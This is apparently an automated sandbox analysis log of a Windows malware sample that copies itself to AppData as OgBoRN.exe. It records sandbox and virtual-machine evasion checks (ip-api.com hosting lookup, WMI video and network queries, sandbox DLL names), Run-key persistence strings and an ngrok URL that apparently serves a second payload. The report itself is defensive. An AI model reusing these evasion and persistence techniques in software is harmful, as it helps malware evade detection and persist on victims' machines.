Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Check if machine is in data center or colocation facility

Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: gq8sce-clean.com.com.exe, 00000000.00000002.4620180662.0000000006E5E000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2401382417.0000000007B58000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4629529277.000000000799E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: OgBoRN.exe, 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\STARTUPAPPROVED\RUN$HTTP://IP-API.COM/LINE/?FIELDS=HOSTING(SNXHK.DLL%SBIEDLL.DLL'SF2.DLL&SXIN.DLL)CMDVRT32.DLL+MANUFACTURER,MICROSOFT CORPORATION.MODEL
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: TYPE4HTTPS://KVRCMHQC.NGROK.IO//WINHOST.PIF5\WINHOST.EXE6SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN7SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\STARTUPAPPROVED\RUN$HTTP://IP-API.COM/LINE/?FIELDS=HOSTING(SNXHK.DLL%SBIEDLL.DLL'SF2.DLL&SXIN.DLL)CMDVRT32.DLL+MANUFACTURER,MICROSOFT CORPORATION.MODEL

Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Memory allocated: 1660000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Memory allocated: 3490000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Memory allocated: 18E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Memory allocated: 5AD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Memory allocated: 6AD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Memory allocated: 6E00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Memory allocated: 7E00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Memory allocated: 2130000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Memory allocated: 3DF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Memory allocated: 5DF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Memory allocated: 65B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Memory allocated: 75B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Memory allocated: 7B00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Memory allocated: 8B00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Memory allocated: 2410000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Memory allocated: 3E90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Memory allocated: 5E90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Memory allocated: 66D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Memory allocated: 76D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Memory allocated: 7950000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Memory allocated: 8950000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 599862	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 599734	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 599594	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 599468	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 599359	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 599250	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 599140	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 599031	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 598921	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 598812	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 598703	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 598594	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 598481	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 598375	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 598265	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 598156	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 598047	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 597937	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 597828	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 597719	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 597594	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 597478	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 597358	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 597250	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 597116	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 597000	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 596890	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 596781	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 596672	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 596562	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 596453	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 596344	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 596219	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 596109	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 596000	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 595890	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 595781	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 595672	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 595562	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 595453	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 595344	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 595219	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 595109	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 595000	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 594890	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 594781	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 594672	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 594562	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 594452	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Thread delayed: delay time: 594343	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 598666	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 598547	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 598224	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Thread delayed: delay time: 598078	Jump to behavior
